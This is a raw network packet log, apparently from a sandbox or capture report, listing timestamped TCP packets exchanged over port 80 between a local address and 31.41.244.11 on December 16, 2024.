Dec 16, 2024 09:01:14.650664091 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.651505947 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.651699066 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.651740074 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.652489901 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.652532101 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.652617931 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.653501034 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.653542995 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.653587103 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.654480934 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.654524088 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.654623032 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.654664040 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.655477047 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.655541897 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.655585051 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.655626059 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.656492949 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.656539917 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.656580925 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.657494068 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.657542944 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.657597065 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.658452988 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.658502102 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.658546925 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.658586979 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.659496069 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.659634113 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.659682989 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.660454035 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.660556078 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.660604954 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.661488056 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.661546946 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.661562920 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.662451029 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.662501097 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.662602901 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.663114071 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.663544893 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.663602114 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.663605928 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.663641930 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.664474964 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.664521933 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.664596081 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.665499926 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.665543079 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.665548086 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.666431904 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.666481972 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.666529894 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.666569948 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.667445898 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.667546034 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.667598009 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.668423891 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.668556929 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.668605089 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.669461966 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.669495106 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.669509888 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.669539928 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.670433998 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.670475960 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.670531034 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.670583010 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.671433926 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.671549082 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.671591043 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.671616077 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.672415018 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.672517061 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.672568083 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.673404932 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.673561096 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.673609018 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.674401999 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.674442053 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.674498081 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.675409079 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.675457001 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.675506115 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.676404953 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.676455975 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.676501036 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.676539898 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.677407980 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.677515984 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.677561998 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.678431988 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.678518057 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.678563118 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.679434061 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.679474115 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.679512978 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.680408001 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.680452108 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.680469990 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.681387901 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.681457043 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.681495905 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.681531906 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.682435036 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.682507038 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.682553053 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.683402061 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.683480978 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.683509111 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.684389114 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.684437990 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.684541941 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.685395002 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.685437918 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.685528994 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.685570955 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.686414003 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.686578989 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.686630011 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.687627077 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.687716007 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.687763929 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.688719034 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.688765049 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.688849926 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.689615965 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.689662933 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.689682007 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.690628052 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.690677881 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.690717936 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.690762043 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.691373110 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.691479921 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.691519022 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.691564083 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.692368984 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.692414045 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.692445040 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.692492962 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.693346977 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.693392992 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.693470001 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.693514109 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.694380045 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.694422960 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.694494963 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.694539070 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.695343018 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.695388079 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.695486069 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.696336985 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.696384907 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.696439981 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.697339058 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.697386980 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.697413921 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.697463989 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.698326111 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.698437929 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.698486090 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.699305058 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.699441910 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.699479103 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.700304031 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.700346947 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.700417042 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.701335907 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.701379061 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.701544046 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.702248096 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.702292919 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.842178106 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.842375040 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.842444897 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.842677116 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.842806101 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.842854977 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.843657017 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.843703032 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.843859911 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.844656944 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.844702005 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.844964981 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.845087051 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.845134020 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.845963955 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.846008062 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.846086025 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.846246004 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.846981049 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.847026110 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.847094059 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.847134113 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.847959995 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.848004103 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.848113060 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.848155975 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.849015951 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.849061012 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.849195004 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.849236965 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.849957943 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.850076914 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.850121975 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.850940943 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.851058006 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.851100922 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.851933956 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.851979017 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.852021933 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.852979898 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.853028059 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.853158951 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.853868961 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.853955984 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.854053020 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.854098082 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.854907990 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.855050087 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.855096102 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.855906010 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.855948925 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.856002092 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.856909990 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.856956959 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.857074022 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.857911110 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.857952118 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.858017921 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.858057976 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.858890057 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.859004021 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.859047890 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.859905005 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.860038996 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.860080957 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.860905886 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.860944986 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.861006021 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.861629963 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.861892939 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.861938953 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.861938953 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.861973047 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.862906933 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.862950087 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.863060951 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.863104105 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.863897085 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.863941908 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.863991022 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.864032984 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.864933968 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.864996910 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.865006924 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.865048885 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.865884066 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.865930080 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.865962982 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.866009951 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.866874933 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.866934061 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.866981030 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.867873907 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.867957115 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.868010044 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.868855953 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.868902922 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.868968964 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.869534969 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.869852066 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.869956017 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.869998932 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.870868921 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.870966911 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.871026039 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.871865034 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.871910095 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.871928930 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.872894049 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.872941971 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.872966051 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.873838902 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.873888016 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.873920918 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.873964071 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.874856949 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.874938965 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.874984026 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.875832081 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.875931978 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.875978947 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.876844883 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.876888037 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.876981020 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.877939939 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.877988100 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.878041029 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.878372908 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.878890991 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.879018068 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.879070997 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.880106926 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.880263090 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.880310059 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.880970001 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.881011009 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.881015062 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.881675959 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.881810904 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.881855011 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.881922960 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.881966114 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.882793903 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.882839918 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.882888079 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.882929087 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.883794069 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.883838892 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.883888006 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.883928061 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.884804010 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.884917021 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.884965897 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.885806084 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.885901928 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.885942936 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.886810064 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.887015104 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.887056112 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.887790918 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.887850046 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.887927055 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.888803959 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.888848066 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:14.888871908 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:14.889488935 CET	49817	80	192.168.2.5	31.41.244.11
